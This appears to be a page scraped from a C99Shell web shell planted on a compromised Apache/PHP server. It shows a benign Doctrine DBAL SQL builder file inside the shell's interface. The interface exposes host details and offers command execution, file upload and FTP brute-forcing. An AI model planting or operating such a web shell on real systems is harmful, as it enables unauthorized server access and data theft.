!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/doctrine/dbal/src/Platforms/SQLServer/SQL/Builder/   drwxrwxrwx
Free 12.95 GB of 57.97 GB (22.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SQLServerSelectSQLBuilder.php (2.11 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Doctrine\DBAL\Platforms\SQLServer\SQL\Builder;

use 
Doctrine\DBAL\Platforms\SQLServerPlatform;
use 
Doctrine\DBAL\Query\ForUpdate\ConflictResolutionMode;
use 
Doctrine\DBAL\Query\SelectQuery;
use 
Doctrine\DBAL\SQL\Builder\SelectSQLBuilder;

use function 
count;
use function 
implode;

final class 
SQLServerSelectSQLBuilder implements SelectSQLBuilder
{
    private 
SQLServerPlatform $platform;

    
/** @internal The SQL builder should be instantiated only by database platforms. */
    
public function __construct(SQLServerPlatform $platform)
    {
        
$this->platform $platform;
    }

    public function 
buildSQL(SelectQuery $query): string
    
{
        
$parts = ['SELECT'];

        if (
$query->isDistinct()) {
            
$parts[] = 'DISTINCT';
        }

        
$parts[] = implode(', '$query->getColumns());

        
$from $query->getFrom();

        if (
count($from) > 0) {
            
$parts[] = 'FROM ' implode(', '$from);
        }

        
$forUpdate $query->getForUpdate();

        if (
$forUpdate !== null) {
            
$with = ['UPDLOCK''ROWLOCK'];

            if (
$forUpdate->getConflictResolutionMode() === ConflictResolutionMode::SKIP_LOCKED) {
                
$with[] = 'READPAST';
            }

            
$parts[] = 'WITH (' implode(', '$with) . ')';
        }

        
$where $query->getWhere();

        if (
$where !== null) {
            
$parts[] = 'WHERE ' $where;
        }

        
$groupBy $query->getGroupBy();

        if (
count($groupBy) > 0) {
            
$parts[] = 'GROUP BY ' implode(', '$groupBy);
        }

        
$having $query->getHaving();

        if (
$having !== null) {
            
$parts[] = 'HAVING ' $having;
        }

        
$orderBy $query->getOrderBy();

        if (
count($orderBy) > 0) {
            
$parts[] = 'ORDER BY ' implode(', '$orderBy);
        }

        
$sql   implode(' '$parts);
        
$limit $query->getLimit();

        if (
$limit->isDefined()) {
            
$sql $this->platform->modifyLimitQuery($sql$limit->getMaxResults(), $limit->getFirstResult());
        }

        return 
$sql;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--